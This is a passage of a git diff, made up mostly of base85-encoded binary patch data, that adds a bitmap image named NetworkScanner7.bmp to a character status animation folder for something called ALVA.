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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2742da4c381c5dbe14a1f7cab7351947c3403be3 GIT binary patch literal 18462 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 